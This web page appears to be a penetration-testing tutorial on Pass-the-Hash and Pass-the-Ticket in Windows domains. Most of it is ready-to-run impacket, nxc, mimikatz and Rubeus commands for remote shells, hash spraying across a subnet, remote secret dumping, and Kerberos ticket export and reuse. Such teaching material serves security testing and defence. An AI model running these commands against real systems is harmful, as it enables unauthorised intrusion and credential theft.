Skip to content

Pass-the-Hash and Pass-the-Ticket

4 min read Created Apr 4, 2026 Last updated Aug 17, 2026

Pass-the-Hash lets you authenticate as a user using their NTLM hash without knowing the plaintext password. Pass-the-Ticket does the same with Kerberos tickets. Both techniques require valid credentials dumped from a compromised host and give you direct access to other systems in the network without cracking anything.

Pass-the-Hash with impacket

Impacket tools accept hashes directly in the format LMhash:NThash. If you only have the NT hash, use aad3b435b51404eeaad3b435b51404ee as the LM portion.

┌──(kali㉿kali)-[~]
└─$ # Interactive shell via SMB
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # WMI execution (less noisy than psexec)
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # SMBexec (creates a service, noisier)
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # atexec: execute via Task Scheduler
┌──(kali㉿kali)-[~]
└─$ impacket-atexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH "whoami"
┌──(kali㉿kali)-[~]
└─$ # Mount SMB share with hash
┌──(kali㉿kali)-[~]
└─$ impacket-smbclient $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Dump secrets from remote host
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Check if hash is valid across multiple hosts
┌──(kali㉿kali)-[~]
└─$ nxc smb 192.168.1.0/24 -u $USER -H $NTHASH
┌──(kali㉿kali)-[~]
└─$ nxc smb 192.168.1.0/24 -u $USER -H $NTHASH --local-auth
SMB  192.168.1.10  445  DC01  [+] domain\user:$NTHASH (Pwn3d!)
SMB  192.168.1.20  445  WEB01 [+] domain\user:$NTHASH (Pwn3d!)

The Pwn3d! label in nxc output means the account has local admin on that host: you can get a shell. Use nxc to spray a hash across all discovered hosts before choosing where to move. The --local-auth flag uses local account authentication instead of domain, which is needed when the hash is from a local account like Administrator.

Pass-the-Hash with native Windows tools

From a Windows foothold you can inject hashes into a new process or session using mimikatz.

PS C:\Users\Guest\Desktop> # Inject hash and spawn a process
PS C:\Users\Guest\Desktop> mimikatz.exe "sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NTHASH /run:cmd.exe" exit
 
PS C:\Users\Guest\Desktop> # From the spawned cmd.exe the identity is set: use net use or psexec normally
PS C:\Users\Guest\Desktop> net use \\$TARGET_IP\C$ /user:$DOMAIN\$USER
PS C:\Users\Guest\Desktop> dir \\$TARGET_IP\C$

Pass-the-Hash does not work in all scenarios. Common reasons for PtH failure:

  • NTLM is entirely disabled and only NTLMv2 or Kerberos is accepted

  • The local Administrator account (RID 500) is targeted but LocalAccountTokenFilterPolicy is not set

  • The target has credential guard enabled, which blocks NTLM hash injection

If PtH fails against a local account, check the LocalAccountTokenFilterPolicy registry key first.

Pass-the-Ticket with Kerberos TGTs

Kerberos tickets are cached in memory and can be exported and reused on another machine. A TGT gives you access to any service the account can reach. A TGS gives you access to one specific service.

PS C:\Users\Guest\Desktop> # List all tickets in current session
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe triage
 
PS C:\Users\Guest\Desktop> # Export all tickets to .kirbi files
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe dump /nowrap
 
PS C:\Users\Guest\Desktop> # Export specific ticket by LUID
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe dump /luid:0x3e7 /nowrap
 
PS C:\Users\Guest\Desktop> # Request a TGT using hash (overpass-the-hash / pass-the-key)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /domain:$DOMAIN /rc4:$NTHASH /ptt
PS C:\Users\Guest\Desktop> # Import a .kirbi ticket into current session
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe ptt /ticket:ticket.kirbi
 
PS C:\Users\Guest\Desktop> # Verify ticket is loaded
PS C:\Users\Guest\Desktop> klist
 
PS C:\Users\Guest\Desktop> # Use the ticket
PS C:\Users\Guest\Desktop> dir \\$TARGET_IP\C$
PS C:\Users\Guest\Desktop> PsExec.exe \\$TARGET_IP cmd.exe
┌──(kali㉿kali)-[~]
└─$ # Export ticket as ccache from a kirbi file
┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter ticket.kirbi ticket.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Set the ccache file as active ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=ticket.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Use ticket for authentication
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -k -no-pass

Tickets expire: TGTs are valid for 10 hours by default and TGS tickets for 10 hours with 7-day renewal. If a ticket fails, check the timestamp with klist. For persistence beyond ticket lifetime see Golden and Silver Ticket Persistence. For the hashes needed here see Windows Token and Credential Harvesting.

References